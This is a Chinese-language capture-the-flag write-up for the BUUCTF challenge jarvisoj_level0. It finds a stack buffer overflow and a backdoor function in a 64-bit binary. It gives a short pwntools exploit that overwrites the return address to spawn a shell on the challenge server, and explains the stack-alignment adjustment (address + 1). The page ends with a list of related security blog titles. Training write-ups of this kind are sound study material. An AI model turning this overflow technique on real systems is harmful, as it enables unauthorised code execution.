BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
-曾牛1 天前
深入浅出 SQL 注入
网络·sql·安全·网络安全·渗透测试·sql注入·盲注
汤愈韬1 天前
IIS服务器
windows·网络安全
-曾牛1 天前
从零到一:XSS靶场 haozi.me 全关卡通关教程(含冷知识汇总)
前端·网络安全·渗透测试·靶场·xss·攻略·靶场教程
挨踢攻城1 天前
网络安全 | 如何防御勒索软件?
安全·web安全·网络安全·php·厦门微思网络·防疫勒索软件
belldeep1 天前
网络安全:Apache Druid 安全漏洞
网络安全·apache·druid
Whoami!1 天前
6-1〔O҉S҉C҉P҉ ◈ 研记〕❘ 客户端攻击▸侦查客户端指纹
网络安全·信息安全·客户端侦查
Whoami!1 天前
6-2〔O҉S҉C҉P҉ ◈ 研记〕❘ 客户端攻击▸利用WORD宏让客户端执行命令
网络安全·信息安全·oscp·宏文件攻击
Whoami!2 天前
⸢ 玖 ⸥⤳ 威胁感知与响应体系概念及建设思路
网络安全·信息安全·态势感知·威胁响应
网络安全-海哥2 天前
Web安全深度实战:从漏洞原理到防护方案
sql·web安全·网络安全·xss·csrf·漏洞挖掘·安全防护
介一安全2 天前
【Frida Android】基础篇9:Java层Hook基础——Hook构造函数
android·网络安全·逆向·安全性测试·frida